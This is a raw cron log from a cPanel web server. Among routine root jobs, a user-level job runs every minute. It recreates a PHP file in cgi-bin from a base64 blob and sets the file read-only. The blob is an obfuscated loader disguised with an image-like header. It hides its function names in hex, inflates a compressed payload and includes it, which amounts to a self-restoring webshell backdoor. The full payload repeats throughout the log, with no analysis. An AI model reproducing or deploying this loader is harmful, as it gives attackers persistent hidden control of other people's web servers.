Sep  2 17:44:01 server CROND[20936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:44:01 server CROND[20937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:44:01 server CROND[20938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:45:01 server CROND[21318]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:45:01 server CROND[21320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:45:01 server CROND[21323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:45:01 server CROND[21324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:45:01 server CROND[21325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:45:01 server CROND[21322]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:45:01 server CROND[21321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:46:01 server CROND[22314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:46:01 server CROND[22315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:46:01 server CROND[22313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:47:01 server CROND[22714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:47:01 server CROND[22715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:47:01 server CROND[22716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:48:01 server CROND[23258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:48:01 server CROND[23259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:48:01 server CROND[23257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:49:01 server CROND[23624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:49:01 server CROND[23626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:49:01 server CROND[23625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:50:01 server CROND[24026]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:50:01 server CROND[24028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:50:01 server CROND[24031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:50:01 server CROND[24034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:50:01 server CROND[24035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:50:01 server CROND[24036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:50:01 server CROND[24032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:50:01 server CROND[24033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:50:01 server CROND[24030]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:51:01 server CROND[24953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:51:01 server CROND[24954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:51:01 server CROND[24955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:52:01 server CROND[25327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:52:01 server CROND[25328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:52:01 server CROND[25329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:53:01 server CROND[25711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:53:01 server CROND[25712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:53:01 server CROND[25710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:54:01 server CROND[26092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:54:01 server CROND[26094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:54:01 server CROND[26093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:55:01 server CROND[26474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:55:01 server CROND[26475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:55:01 server CROND[26476]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:55:01 server CROND[26478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:55:01 server CROND[26480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:55:01 server CROND[26479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:55:01 server CROND[26482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
